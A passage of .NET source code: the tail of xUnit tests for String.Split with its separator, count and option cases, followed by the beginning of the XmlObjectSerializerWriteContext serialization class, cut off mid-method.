[InlineData("first,second", ',', 2, StringSplitOptions.RemoveEmptyEntries, new[] { "first", "second" })]
[InlineData("first,second", ',', 3, StringSplitOptions.RemoveEmptyEntries, new[] { "first", "second" })]
[InlineData("first,second", ',', 4, StringSplitOptions.RemoveEmptyEntries, new[] { "first", "second" })]
[InlineData("first,second", ',', M, StringSplitOptions.RemoveEmptyEntries, new[] { "first", "second" })]
[InlineData("first,", ',', 0, StringSplitOptions.None, new string[0])]
[InlineData("first,", ',', 1, StringSplitOptions.None, new[] { "first," })]
[InlineData("first,", ',', 2, StringSplitOptions.None, new[] { "first", "" })]
[InlineData("first,", ',', 3, StringSplitOptions.None, new[] { "first", "" })]
[InlineData("first,", ',', 4, StringSplitOptions.None, new[] { "first", "" })]
[InlineData("first,", ',', M, StringSplitOptions.None, new[] { "first", "" })]
[InlineData("first,", ',', 0, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData("first,", ',', 1, StringSplitOptions.RemoveEmptyEntries, new[] { "first," })]
[InlineData("first,", ',', 2, StringSplitOptions.RemoveEmptyEntries, new[] { "first" })]
[InlineData("first,", ',', 3, StringSplitOptions.RemoveEmptyEntries, new[] { "first" })]
[InlineData("first,", ',', 4, StringSplitOptions.RemoveEmptyEntries, new[] { "first" })]
[InlineData("first,", ',', M, StringSplitOptions.RemoveEmptyEntries, new[] { "first" })]
[InlineData(",second", ',', 0, StringSplitOptions.None, new string[0])]
[InlineData(",second", ',', 1, StringSplitOptions.None, new[] { ",second" })]
[InlineData(",second", ',', 2, StringSplitOptions.None, new[] { "", "second" })]
[InlineData(",second", ',', 3, StringSplitOptions.None, new[] { "", "second" })]
[InlineData(",second", ',', 4, StringSplitOptions.None, new[] { "", "second" })]
[InlineData(",second", ',', M, StringSplitOptions.None, new[] { "", "second" })]
[InlineData(",second", ',', 0, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData(",second", ',', 1, StringSplitOptions.RemoveEmptyEntries, new[] { ",second" })]
[InlineData(",second", ',', 2, StringSplitOptions.RemoveEmptyEntries, new[] { "second" })]
[InlineData(",second", ',', 3, StringSplitOptions.RemoveEmptyEntries, new[] { "second" })]
[InlineData(",second", ',', 4, StringSplitOptions.RemoveEmptyEntries, new[] { "second" })]
[InlineData(",second", ',', M, StringSplitOptions.RemoveEmptyEntries, new[] { "second" })]
[InlineData(",first,second", ',', 0, StringSplitOptions.None, new string[0])]
[InlineData(",first,second", ',', 1, StringSplitOptions.None, new[] { ",first,second" })]
[InlineData(",first,second", ',', 2, StringSplitOptions.None, new[] { "", "first,second" })]
[InlineData(",first,second", ',', 3, StringSplitOptions.None, new[] { "", "first", "second" })]
[InlineData(",first,second", ',', 4, StringSplitOptions.None, new[] { "", "first", "second" })]
[InlineData(",first,second", ',', M, StringSplitOptions.None, new[] { "", "first", "second" })]
[InlineData(",first,second", ',', 0, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData(",first,second", ',', 1, StringSplitOptions.RemoveEmptyEntries, new[] { ",first,second" })]
[InlineData(",first,second", ',', 2, StringSplitOptions.RemoveEmptyEntries, new[] { "first", "second" })]
[InlineData(",first,second", ',', 3, StringSplitOptions.RemoveEmptyEntries, new[] { "first", "second" })]
[InlineData(",first,second", ',', 4, StringSplitOptions.RemoveEmptyEntries, new[] { "first", "second" })]
[InlineData(",first,second", ',', 5, StringSplitOptions.RemoveEmptyEntries, new[] { "first", "second" })]
[InlineData("first,second,", ',', 0, StringSplitOptions.None, new string[0])]
[InlineData("first,second,", ',', 1, StringSplitOptions.None, new[] { "first,second," })]
[InlineData("first,second,", ',', 2, StringSplitOptions.None, new[] { "first", "second,", })]
[InlineData("first,second,", ',', 3, StringSplitOptions.None, new[] { "first", "second", "" })]
[InlineData("first,second,", ',', 4, StringSplitOptions.None, new[] { "first", "second", "" })]
[InlineData("first,second,", ',', M, StringSplitOptions.None, new[] { "first", "second", "" })]
[InlineData("first,second,", ',', 0, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData("first,second,", ',', 1, StringSplitOptions.RemoveEmptyEntries, new[] { "first,second," })]
[InlineData("first,second,", ',', 2, StringSplitOptions.RemoveEmptyEntries, new[] { "first", "second," })]
[InlineData("first,second,", ',', 3, StringSplitOptions.RemoveEmptyEntries, new[] { "first", "second" })]
[InlineData("first,second,", ',', 4, StringSplitOptions.RemoveEmptyEntries, new[] { "first", "second" })]
[InlineData("first,second,", ',', M, StringSplitOptions.RemoveEmptyEntries, new[] { "first", "second" })]
[InlineData("first,second,third", ',', 0, StringSplitOptions.None, new string[0])]
[InlineData("first,second,third", ',', 1, StringSplitOptions.None, new[] { "first,second,third" })]
[InlineData("first,second,third", ',', 2, StringSplitOptions.None, new[] { "first", "second,third" })]
[InlineData("first,second,third", ',', 3, StringSplitOptions.None, new[] { "first", "second", "third" })]
[InlineData("first,second,third", ',', 4, StringSplitOptions.None, new[] { "first", "second", "third" })]
[InlineData("first,second,third", ',', M, StringSplitOptions.None, new[] { "first", "second", "third" })]
[InlineData("first,second,third", ',', 0, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData("first,second,third", ',', 1, StringSplitOptions.RemoveEmptyEntries, new[] { "first,second,third" })]
[InlineData("first,second,third", ',', 2, StringSplitOptions.RemoveEmptyEntries, new[] { "first", "second,third", })]
[InlineData("first,second,third", ',', 3, StringSplitOptions.RemoveEmptyEntries, new[] { "first", "second", "third" })]
[InlineData("first,second,third", ',', 4, StringSplitOptions.RemoveEmptyEntries, new[] { "first", "second", "third" })]
[InlineData("first,second,third", ',', M, StringSplitOptions.RemoveEmptyEntries, new[] { "first", "second", "third" })]
[InlineData("first,,third", ',', 0, StringSplitOptions.None, new string[0])]
[InlineData("first,,third", ',', 1, StringSplitOptions.None, new[] { "first,,third" })]
[InlineData("first,,third", ',', 2, StringSplitOptions.None, new[] { "first", ",third", })]
[InlineData("first,,third", ',', 3, StringSplitOptions.None, new[] { "first", "", "third" })]
[InlineData("first,,third", ',', 4, StringSplitOptions.None, new[] { "first", "", "third" })]
[InlineData("first,,third", ',', M, StringSplitOptions.None, new[] { "first", "", "third" })]
[InlineData("first,,third", ',', 0, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData("first,,third", ',', 1, StringSplitOptions.RemoveEmptyEntries, new[] { "first,,third" })]
[InlineData("first,,third", ',', 2, StringSplitOptions.RemoveEmptyEntries, new[] { "first", "third", })]
[InlineData("first,,third", ',', 3, StringSplitOptions.RemoveEmptyEntries, new[] { "first", "third" })]
[InlineData("first,,third", ',', 4, StringSplitOptions.RemoveEmptyEntries, new[] { "first", "third" })]
[InlineData("first,,third", ',', M, StringSplitOptions.RemoveEmptyEntries, new[] { "first", "third" })]
[InlineData(",first,second,third", ',', 0, StringSplitOptions.None, new string[0])]
[InlineData(",first,second,third", ',', 1, StringSplitOptions.None, new[] { ",first,second,third" })]
[InlineData(",first,second,third", ',', 2, StringSplitOptions.None, new[] { "", "first,second,third" })]
[InlineData(",first,second,third", ',', 3, StringSplitOptions.None, new[] { "", "first", "second,third" })]
[InlineData(",first,second,third", ',', 4, StringSplitOptions.None, new[] { "", "first", "second", "third" })]
[InlineData(",first,second,third", ',', M, StringSplitOptions.None, new[] { "", "first", "second", "third" })]
[InlineData(",first,second,third", ',', 0, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData(",first,second,third", ',', 1, StringSplitOptions.RemoveEmptyEntries, new[] { ",first,second,third" })]
[InlineData(",first,second,third", ',', 2, StringSplitOptions.RemoveEmptyEntries, new[] { "first", "second,third", })]
[InlineData(",first,second,third", ',', 3, StringSplitOptions.RemoveEmptyEntries, new[] { "first", "second", "third" })]
[InlineData(",first,second,third", ',', 4, StringSplitOptions.RemoveEmptyEntries, new[] { "first", "second", "third" })]
[InlineData(",first,second,third", ',', M, StringSplitOptions.RemoveEmptyEntries, new[] { "first", "second", "third" })]
[InlineData("first,second,third,", ',', 0, StringSplitOptions.None, new string[0])]
[InlineData("first,second,third,", ',', 1, StringSplitOptions.None, new[] { "first,second,third," })]
[InlineData("first,second,third,", ',', 2, StringSplitOptions.None, new[] { "first", "second,third," })]
[InlineData("first,second,third,", ',', 3, StringSplitOptions.None, new[] { "first", "second", "third,", })]
[InlineData("first,second,third,", ',', 4, StringSplitOptions.None, new[] { "first", "second", "third", "" })]
[InlineData("first,second,third,", ',', M, StringSplitOptions.None, new[] { "first", "second", "third", "" })]
[InlineData("first,second,third,", ',', 0, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData("first,second,third,", ',', 1, StringSplitOptions.RemoveEmptyEntries, new[] { "first,second,third," })]
[InlineData("first,second,third,", ',', 2, StringSplitOptions.RemoveEmptyEntries, new[] { "first", "second,third,", })]
[InlineData("first,second,third,", ',', 3, StringSplitOptions.RemoveEmptyEntries, new[] { "first", "second", "third," })]
[InlineData("first,second,third,", ',', 4, StringSplitOptions.RemoveEmptyEntries, new[] { "first", "second", "third" })]
[InlineData("first,second,third,", ',', M, StringSplitOptions.RemoveEmptyEntries, new[] { "first", "second", "third" })]
[InlineData(",first,second,third,", ',', 0, StringSplitOptions.None, new string[0])]
[InlineData(",first,second,third,", ',', 1, StringSplitOptions.None, new[] { ",first,second,third," })]
[InlineData(",first,second,third,", ',', 2, StringSplitOptions.None, new[] { "", "first,second,third," })]
[InlineData(",first,second,third,", ',', 3, StringSplitOptions.None, new[] { "", "first", "second,third," })]
[InlineData(",first,second,third,", ',', 4, StringSplitOptions.None, new[] { "", "first", "second", "third," })]
[InlineData(",first,second,third,", ',', M, StringSplitOptions.None, new[] { "", "first", "second", "third", "" })]
[InlineData(",first,second,third,", ',', 0, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData(",first,second,third,", ',', 1, StringSplitOptions.RemoveEmptyEntries, new[] { ",first,second,third," })]
[InlineData(",first,second,third,", ',', 2, StringSplitOptions.RemoveEmptyEntries, new[] { "first", "second,third," })]
[InlineData(",first,second,third,", ',', 3, StringSplitOptions.RemoveEmptyEntries, new[] { "first", "second", "third," })]
[InlineData(",first,second,third,", ',', 4, StringSplitOptions.RemoveEmptyEntries, new[] { "first", "second", "third" })]
[InlineData(",first,second,third,", ',', M, StringSplitOptions.RemoveEmptyEntries, new[] { "first", "second", "third" })]
[InlineData("first,second,third", ' ', M, StringSplitOptions.None, new[] { "first,second,third" })]
[InlineData("first,second,third", ' ', M, StringSplitOptions.RemoveEmptyEntries, new[] { "first,second,third" })]
[InlineData("Foo Bar Baz", ' ', 2, StringSplitOptions.RemoveEmptyEntries, new[] { "Foo", "Bar Baz" })]
[InlineData("Foo Bar Baz", ' ', M, StringSplitOptions.None, new[] { "Foo", "Bar", "Baz" })]
public static void SplitCharSeparator(string value, char separator, int count, StringSplitOptions options, string[] expected)
{
Assert.Equal(expected, value.Split(separator, count, options));
Assert.Equal(expected, value.Split(new[] { separator }, count, options));
Assert.Equal(expected, value.Split(separator.ToString(), count, options));
Assert.Equal(expected, value.Split(new[] { separator.ToString() }, count, options));
}
[Theory]
[InlineData("a,b,c", null, M, StringSplitOptions.None, new[] { "a,b,c" })]
[InlineData("a,b,c", "", M, StringSplitOptions.None, new[] { "a,b,c" })]
[InlineData("aaabaaabaaa", "aa", M, StringSplitOptions.None, new[] { "", "ab", "ab", "a" })]
[InlineData("aaabaaabaaa", "aa", M, StringSplitOptions.RemoveEmptyEntries, new[] { "ab", "ab", "a" })]
[InlineData("this, is, a, string, with some spaces", ", ", M, StringSplitOptions.None, new[] { "this", "is", "a", "string", "with some spaces" })]
public static void SplitStringSeparator(string value, string separator, int count, StringSplitOptions options, string[] expected)
{
Assert.Equal(expected, value.Split(separator, count, options));
Assert.Equal(expected, value.Split(new[] { separator }, count, options));
}
[Fact]
public static void SplitNullCharArraySeparator_BindsToCharArrayOverload()
{
string value = "a b c";
string[] expected = new[] { "a", "b", "c" };
// Ensure Split(null) compiles successfully as a call to Split(char[])
Assert.Equal(expected, value.Split(null));
}
[Theory]
[InlineData("a b c", null, M, StringSplitOptions.None, new[] { "a", "b", "c" })]
[InlineData("a b c", new char[0], M, StringSplitOptions.None, new[] { "a", "b", "c" })]
[InlineData("a,b,c", null, M, StringSplitOptions.None, new[] { "a,b,c" })]
[InlineData("a,b,c", new char[0], M, StringSplitOptions.None, new[] { "a,b,c" })]
[InlineData("this, is, a, string, with some spaces", new[] { ' ', ',' }, M, StringSplitOptions.None, new[] { "this", "", "is", "", "a", "", "string", "", "with", "some", "spaces" })]
[InlineData("this, is, a, string, with some spaces", new[] { ',', ' ' }, M, StringSplitOptions.None, new[] { "this", "", "is", "", "a", "", "string", "", "with", "some", "spaces" })]
[InlineData("this, is, a, string, with some spaces", new[] { ' ', ',' }, M, StringSplitOptions.RemoveEmptyEntries, new[] { "this", "is", "a", "string", "with", "some", "spaces" })]
[InlineData("this, is, a, string, with some spaces", new[] { ',', ' ' }, M, StringSplitOptions.RemoveEmptyEntries, new[] { "this", "is", "a", "string", "with", "some", "spaces" })]
public static void SplitCharArraySeparator(string value, char[] separators, int count, StringSplitOptions options, string[] expected)
{
Assert.Equal(expected, value.Split(separators, count, options));
Assert.Equal(expected, value.Split(ToStringArray(separators), count, options));
}
[Theory]
[InlineData("a b c", null, M, StringSplitOptions.None, new[] { "a", "b", "c" })]
[InlineData("a b c", new string[0], M, StringSplitOptions.None, new[] { "a", "b", "c" })]
[InlineData("a,b,c", null, M, StringSplitOptions.None, new[] { "a,b,c" })]
[InlineData("a,b,c", new string[0], M, StringSplitOptions.None, new[] { "a,b,c" })]
[InlineData("a,b,c", new string[] { null }, M, StringSplitOptions.None, new[] { "a,b,c" })]
[InlineData("a,b,c", new string[] { "" }, M, StringSplitOptions.None, new[] { "a,b,c" })]
[InlineData("this, is, a, string, with some spaces", new[] { " ", ", " }, M, StringSplitOptions.None, new[] { "this", "is", "a", "string", "with", "some", "spaces" })]
[InlineData("this, is, a, string, with some spaces", new[] { ", ", " " }, M, StringSplitOptions.None, new[] { "this", "is", "a", "string", "with", "some", "spaces" })]
[InlineData("this, is, a, string, with some spaces", new[] { " ", ", " }, M, StringSplitOptions.RemoveEmptyEntries, new[] { "this", "is", "a", "string", "with", "some", "spaces" })]
[InlineData("this, is, a, string, with some spaces", new[] { ", ", " " }, M, StringSplitOptions.RemoveEmptyEntries, new[] { "this", "is", "a", "string", "with", "some", "spaces" })]
public static void SplitStringArraySeparator(string value, string[] separators, int count, StringSplitOptions options, string[] expected)
{
Assert.Equal(expected, value.Split(separators, count, options));
}
private static string[] ToStringArray(char[] source)
{
if (source == null)
return null;
string[] result = new string[source.Length];
for (int i = 0; i < source.Length; i++)
{
result[i] = source[i].ToString();
}
return result;
}
}
}
| |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System;
using System.Collections;
using System.Diagnostics;
using System.Globalization;
using System.IO;
using System.Reflection;
using System.Text;
using System.Xml;
using System.Collections.Generic;
using System.Xml.Serialization;
using System.Security;
#if !NET_NATIVE
using ExtensionDataObject = System.Object;
#endif
namespace System.Runtime.Serialization
{
#if USE_REFEMIT || NET_NATIVE
public class XmlObjectSerializerWriteContext : XmlObjectSerializerContext
#else
internal class XmlObjectSerializerWriteContext : XmlObjectSerializerContext
#endif
{
private ObjectReferenceStack _byValObjectsInScope = new ObjectReferenceStack();
private XmlSerializableWriter _xmlSerializableWriter;
private const int depthToCheckCyclicReference = 512;
private ObjectToIdCache _serializedObjects;
private bool _isGetOnlyCollection;
private readonly bool _unsafeTypeForwardingEnabled;
protected bool serializeReadOnlyTypes;
protected bool preserveObjectReferences;
internal static XmlObjectSerializerWriteContext CreateContext(DataContractSerializer serializer, DataContract rootTypeDataContract, DataContractResolver dataContractResolver)
{
return (serializer.PreserveObjectReferences || serializer.SerializationSurrogateProvider != null)
? new XmlObjectSerializerWriteContextComplex(serializer, rootTypeDataContract, dataContractResolver)
: new XmlObjectSerializerWriteContext(serializer, rootTypeDataContract, dataContractResolver);
}
protected XmlObjectSerializerWriteContext(DataContractSerializer serializer, DataContract rootTypeDataContract, DataContractResolver resolver)
: base(serializer, rootTypeDataContract, resolver)
{
this.serializeReadOnlyTypes = serializer.SerializeReadOnlyTypes;
// Known types restricts the set of types that can be deserialized
_unsafeTypeForwardingEnabled = true;
}
internal XmlObjectSerializerWriteContext(XmlObjectSerializer serializer, int maxItemsInObjectGraph, StreamingContext streamingContext, bool ignoreExtensionDataObject)
: base(serializer, maxItemsInObjectGraph, streamingContext, ignoreExtensionDataObject)
{
// Known types restricts the set of types that can be deserialized
_unsafeTypeForwardingEnabled = true;
}
#if USE_REFEMIT || NET_NATIVE
internal ObjectToIdCache SerializedObjects
#else
protected ObjectToIdCache SerializedObjects
#endif
{
get
{
if (_serializedObjects == null)
_serializedObjects = new ObjectToIdCache();
return _serializedObjects;
}
}
internal override bool IsGetOnlyCollection
{
get { return _isGetOnlyCollection; }
set { _isGetOnlyCollection = value; }
}
internal bool SerializeReadOnlyTypes
{
get { return this.serializeReadOnlyTypes; }
}
internal bool UnsafeTypeForwardingEnabled
{
get { return _unsafeTypeForwardingEnabled; }
}
#if USE_REFEMIT
public void StoreIsGetOnlyCollection()
#else
internal void StoreIsGetOnlyCollection()
#endif
{
_isGetOnlyCollection = true;
}
#if USE_REFEMIT
public void InternalSerializeReference(XmlWriterDelegator xmlWriter, object obj, bool isDeclaredType, bool writeXsiType, int declaredTypeID, RuntimeTypeHandle declaredTypeHandle)
#else
internal void InternalSerializeReference(XmlWriterDelegator xmlWriter, object obj, bool isDeclaredType, bool writeXsiType, int declaredTypeID, RuntimeTypeHandle declaredTypeHandle)
#endif
{
if (!OnHandleReference(xmlWriter, obj, true /*canContainCyclicReference*/))
InternalSerialize(xmlWriter, obj, isDeclaredType, writeXsiType, declaredTypeID, declaredTypeHandle);
OnEndHandleReference(xmlWriter, obj, true /*canContainCyclicReference*/);
}
#if USE_REFEMIT
public virtual void InternalSerialize(XmlWriterDelegator xmlWriter, object obj, bool isDeclaredType, bool writeXsiType, int declaredTypeID, RuntimeTypeHandle declaredTypeHandle)
#else
internal virtual void InternalSerialize(XmlWriterDelegator xmlWriter, object obj, bool isDeclaredType, bool writeXsiType, int declaredTypeID, RuntimeTypeHandle declaredTypeHandle)
#endif
{
if (writeXsiType)
{
Type declaredType = Globals.TypeOfObject;
SerializeWithXsiType(xmlWriter, obj, obj.GetType().TypeHandle, null/*type*/, -1, declaredType.TypeHandle, declaredType);
}
else if (isDeclaredType)
{
DataContract contract = GetDataContract(declaredTypeID, declaredTypeHandle);
SerializeWithoutXsiType(contract, xmlWriter, obj, declaredTypeHandle);
}
else
{
RuntimeTypeHandle objTypeHandle = obj.GetType().TypeHandle;
if (declaredTypeHandle.GetHashCode() == objTypeHandle.GetHashCode()) // semantically the same as Value == Value; Value is not available in SL
{
DataContract dataContract = (declaredTypeID >= 0)
? GetDataContract(declaredTypeID, declaredTypeHandle)
: GetDataContract(declaredTypeHandle, null /*type*/);
SerializeWithoutXsiType(dataContract, xmlWriter, obj, declaredTypeHandle);
}
else
{
SerializeWithXsiType(xmlWriter, obj, objTypeHandle, null /*type*/, declaredTypeID, declaredTypeHandle, Type.GetTypeFromHandle(declaredTypeHandle));
}
}
}
internal void SerializeWithoutXsiType(DataContract dataContract, XmlWriterDelegator xmlWriter, object obj, RuntimeTypeHandle declaredTypeHandle)
{
if (OnHandleIsReference(xmlWriter, dataContract, obj))
return;
if (dataContract.KnownDataContracts != null)
{
scopedKnownTypes.Push(dataContract.KnownDataContracts);
WriteDataContractValue(dataContract, xmlWriter, obj, declaredTypeHandle);
scopedKnownTypes.Pop();
}
else
{
WriteDataContractValue(dataContract, xmlWriter, obj, declaredTypeHandle);
}
}
internal virtual void SerializeWithXsiTypeAtTopLevel(DataContract dataContract, XmlWriterDelegator xmlWriter, object obj, RuntimeTypeHandle originalDeclaredTypeHandle, Type graphType)
{
bool verifyKnownType = false;
Type declaredType = rootTypeDataContract.UnderlyingType;
if (declaredType.GetTypeInfo().IsInterface && CollectionDataContract.IsCollectionInterface(declaredType))
{
if (DataContractResolver != null)
{
WriteResolvedTypeInfo(xmlWriter, graphType, declaredType);
}
}
else if (!declaredType.IsArray) //Array covariance is not supported in XSD. If declared type is array do not write xsi:type. Instead write xsi:type for each item
{
verifyKnownType = WriteTypeInfo(xmlWriter, dataContract, rootTypeDataContract);
}
SerializeAndVerifyType(dataContract, xmlWriter, obj, verifyKnownType, originalDeclaredTypeHandle, declaredType);
}
protected virtual void SerializeWithXsiType(XmlWriterDelegator xmlWriter, object obj, RuntimeTypeHandle objectTypeHandle, Type objectType, int declaredTypeID, RuntimeTypeHandle declaredTypeHandle, Type declaredType)
{
bool verifyKnownType = false;
#if !NET_NATIVE
DataContract dataContract;
if (declaredType.GetTypeInfo().IsInterface && CollectionDataContract.IsCollectionInterface(declaredType))
{
dataContract = GetDataContractSkipValidation(DataContract.GetId(objectTypeHandle), objectTypeHandle, objectType);
if (OnHandleIsReference(xmlWriter, dataContract, obj))
return;
dataContract = GetDataContract(declaredTypeHandle, declaredType);
#else
DataContract dataContract = DataContract.GetDataContractFromGeneratedAssembly(declaredType);
if (dataContract.TypeIsInterface && dataContract.TypeIsCollectionInterface)
{
if (OnHandleIsReference(xmlWriter, dataContract, obj))
return;
if (this.Mode == SerializationMode.SharedType && dataContract.IsValidContract(this.Mode))
dataContract = dataContract.GetValidContract(this.Mode);
else
dataContract = GetDataContract(declaredTypeHandle, declaredType);
#endif
if (!WriteClrTypeInfo(xmlWriter, dataContract) && DataContractResolver != null)
{
if (objectType == null)
{
objectType = Type.GetTypeFromHandle(objectTypeHandle);
}
WriteResolvedTypeInfo(xmlWriter, objectType, declaredType);
}
}
else if (declaredType.IsArray)//Array covariance is not supported in XSD. If declared type is array do not write xsi:type. Instead write xsi:type for each item
{
// A call to OnHandleIsReference is not necessary here -- arrays cannot be IsReference
dataContract = GetDataContract(objectTypeHandle, objectType);
WriteClrTypeInfo(xmlWriter, dataContract);
dataContract = GetDataContract(declaredTypeHandle, declaredType);
}
else
{
dataContract = GetDataContract(objectTypeHandle, objectType);
if (OnHandleIsReference(xmlWriter, dataContract, obj))
return;
if (!WriteClrTypeInfo(xmlWriter, dataContract))
{
DataContract declaredTypeContract = (declaredTypeID >= 0)
? GetDataContract(declaredTypeID, declaredTypeHandle)
: GetDataContract(declaredTypeHandle, declaredType);
verifyKnownType = WriteTypeInfo(xmlWriter, dataContract, declaredTypeContract);
}
}
SerializeAndVerifyType(dataContract, xmlWriter, obj, verifyKnownType, declaredTypeHandle, declaredType);
}
internal bool OnHandleIsReference(XmlWriterDelegator xmlWriter, DataContract contract, object obj)
{
if (preserveObjectReferences || !contract.IsReference || _isGetOnlyCollection)
{
return false;
}
bool isNew = true;
int objectId = SerializedObjects.GetId(obj, ref isNew);
_byValObjectsInScope.EnsureSetAsIsReference(obj);
if (isNew)
{
xmlWriter.WriteAttributeString(Globals.SerPrefix, DictionaryGlobals.IdLocalName,
DictionaryGlobals.SerializationNamespace, string.Format(CultureInfo.InvariantCulture, "{0}{1}", "i", objectId));
return false;
}
else
{
xmlWriter.WriteAttributeString(Globals.SerPrefix, DictionaryGlobals.RefLocalName, DictionaryGlobals.SerializationNamespace, string.Format(CultureInfo.InvariantCulture, "{0}{1}", "i", objectId));
return true;
}
}
protected void SerializeAndVerifyType(DataContract dataContract, XmlWriterDelegator xmlWriter, object obj, bool verifyKnownType, RuntimeTypeHandle declaredTypeHandle, Type declaredType)
{
bool knownTypesAddedInCurrentScope = false;
if (dataContract.KnownDataContracts != null)
{
scopedKnownTypes.Push(dataContract.KnownDataContracts);
knownTypesAddedInCurrentScope = true;
}
#if !NET_NATIVE
if (verifyKnownType)
{
if (!IsKnownType(dataContract, declaredType))
{
DataContract knownContract = ResolveDataContractFromKnownTypes(dataContract.StableName.Name, dataContract.StableName.Namespace, null /*memberTypeContract*/);
if (knownContract == null || knownContract.UnderlyingType != dataContract.UnderlyingType)
{
throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(XmlObjectSerializer.CreateSerializationException(SR.Format(SR.DcTypeNotFoundOnSerialize, DataContract.GetClrTypeFullName(dataContract.UnderlyingType), dataContract.StableName.Name, dataContract.StableName.Namespace)));
}
}
}
#endif
WriteDataContractValue(dataContract, xmlWriter, obj, declaredTypeHandle);
if (knownTypesAddedInCurrentScope)
{
scopedKnownTypes.Pop();
}
}
internal virtual bool WriteClrTypeInfo(XmlWriterDelegator xmlWriter, DataContract dataContract)
{
return false;
}
internal virtual bool WriteClrTypeInfo(XmlWriterDelegator xmlWriter, string clrTypeName, string clrAssemblyName)
{
return false;
}
internal virtual bool WriteClrTypeInfo(XmlWriterDelegator xmlWriter, Type dataContractType, string clrTypeName, string clrAssemblyName)
{
return false;
}
#if USE_REFEMIT || NET_NATIVE
public virtual void WriteAnyType(XmlWriterDelegator xmlWriter, object value)
#else
internal virtual void WriteAnyType(XmlWriterDelegator xmlWriter, object value)
#endif
{
xmlWriter.WriteAnyType(value);
}
#if USE_REFEMIT || NET_NATIVE
public virtual void WriteString(XmlWriterDelegator xmlWriter, string value)
#else
internal virtual void WriteString(XmlWriterDelegator xmlWriter, string value)
#endif
{
xmlWriter.WriteString(value);
}
#if USE_REFEMIT || NET_NATIVE
public virtual void WriteString(XmlWriterDelegator xmlWriter, string value, XmlDictionaryString name, XmlDictionaryString ns)
#else
internal virtual void WriteString(XmlWriterDelegator xmlWriter, string value, XmlDictionaryString name, XmlDictionaryString ns)
#endif
{
if (value == null)
WriteNull(xmlWriter, typeof(string), true/*isMemberTypeSerializable*/, name, ns);
else
{
xmlWriter.WriteStartElementPrimitive(name, ns);
xmlWriter.WriteString(value);
xmlWriter.WriteEndElementPrimitive();
}
}
#if USE_REFEMIT || NET_NATIVE
public virtual void WriteBase64(XmlWriterDelegator xmlWriter, byte[] value)
#else
internal virtual void WriteBase64(XmlWriterDelegator xmlWriter, byte[] value)
#endif
{
xmlWriter.WriteBase64(value);
}
#if USE_REFEMIT || NET_NATIVE
public virtual void WriteBase64(XmlWriterDelegator xmlWriter, byte[] value, XmlDictionaryString name, XmlDictionaryString ns)
#else
internal virtual void WriteBase64(XmlWriterDelegator xmlWriter, byte[] value, XmlDictionaryString name, XmlDictionaryString ns)
#endif
{
if (value == null)
WriteNull(xmlWriter, typeof(byte[]), true/*isMemberTypeSerializable*/, name, ns);
else
{
xmlWriter.WriteStartElementPrimitive(name, ns);
xmlWriter.WriteBase64(value);
xmlWriter.WriteEndElementPrimitive();
}
}
#if USE_REFEMIT || NET_NATIVE
public virtual void WriteUri(XmlWriterDelegator xmlWriter, Uri value)
#else
internal virtual void WriteUri(XmlWriterDelegator xmlWriter, Uri value)
#endif
{
xmlWriter.WriteUri(value);
}
#if USE_REFEMIT || NET_NATIVE
public virtual void WriteUri(XmlWriterDelegator xmlWriter, Uri value, XmlDictionaryString name, XmlDictionaryString ns)
#else
internal virtual void WriteUri(XmlWriterDelegator xmlWriter, Uri value, XmlDictionaryString name, XmlDictionaryString ns)
#endif
{
if (value == null)
WriteNull(xmlWriter, typeof(Uri), true/*isMemberTypeSerializable*/, name, ns);
else
{
xmlWriter.WriteStartElementPrimitive(name, ns);
xmlWriter.WriteUri(value);
xmlWriter.WriteEndElementPrimitive();
}
}
#if USE_REFEMIT || NET_NATIVE
public virtual void WriteQName(XmlWriterDelegator xmlWriter, XmlQualifiedName value)
#else
internal virtual void WriteQName(XmlWriterDelegator xmlWriter, XmlQualifiedName value)
#endif
{
xmlWriter.WriteQName(value);
}
#if USE_REFEMIT || NET_NATIVE
public virtual void WriteQName(XmlWriterDelegator xmlWriter, XmlQualifiedName value, XmlDictionaryString name, XmlDictionaryString ns)
#else
internal virtual void WriteQName(XmlWriterDelegator xmlWriter, XmlQualifiedName value, XmlDictionaryString name, XmlDictionaryString ns)
#endif
{
if (value == null)
WriteNull(xmlWriter, typeof(XmlQualifiedName), true/*isMemberTypeSerializable*/, name, ns);
else
{
if (ns != null && ns.Value != null && ns.Value.Length > 0)
xmlWriter.WriteStartElement(Globals.ElementPrefix, name, ns);
else
xmlWriter.WriteStartElement(name, ns);
xmlWriter.WriteQName(value);
xmlWriter.WriteEndElement();
}
}
internal void HandleGraphAtTopLevel(XmlWriterDelegator writer, object obj, DataContract contract)
{
writer.WriteXmlnsAttribute(Globals.XsiPrefix, DictionaryGlobals.SchemaInstanceNamespace);
OnHandleReference(writer, obj, true /*canContainReferences*/);
}
internal virtual bool OnHandleReference(XmlWriterDelegator xmlWriter, object obj, bool canContainCyclicReference)
{
if (xmlWriter.depth < depthToCheckCyclicReference)
return false;
if (canContainCyclicReference)
{
if (_byValObjectsInScope.Contains(obj))
throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(XmlObjectSerializer.CreateSerializationException(SR.Format(SR.CannotSerializeObjectWithCycles, DataContract.GetClrTypeFullName(obj.GetType()))));
_byValObjectsInScope.Push(obj);
}
return false;
}
internal virtual void OnEndHandleReference(XmlWriterDelegator xmlWriter, object obj, bool canContainCyclicReference)
{
if (xmlWriter.depth < depthToCheckCyclicReference)
return;
if (canContainCyclicReference)
{
_byValObjectsInScope.Pop(obj);
}
}
#if USE_REFEMIT
public void WriteNull(XmlWriterDelegator xmlWriter, Type memberType, bool isMemberTypeSerializable)
#else
internal void WriteNull(XmlWriterDelegator xmlWriter, Type memberType, bool isMemberTypeSerializable)
#endif
{
CheckIfTypeSerializable(memberType, isMemberTypeSerializable);
WriteNull(xmlWriter);
}
internal void WriteNull(XmlWriterDelegator xmlWriter, Type memberType, bool isMemberTypeSerializable, XmlDictionaryString name, XmlDictionaryString ns)
{
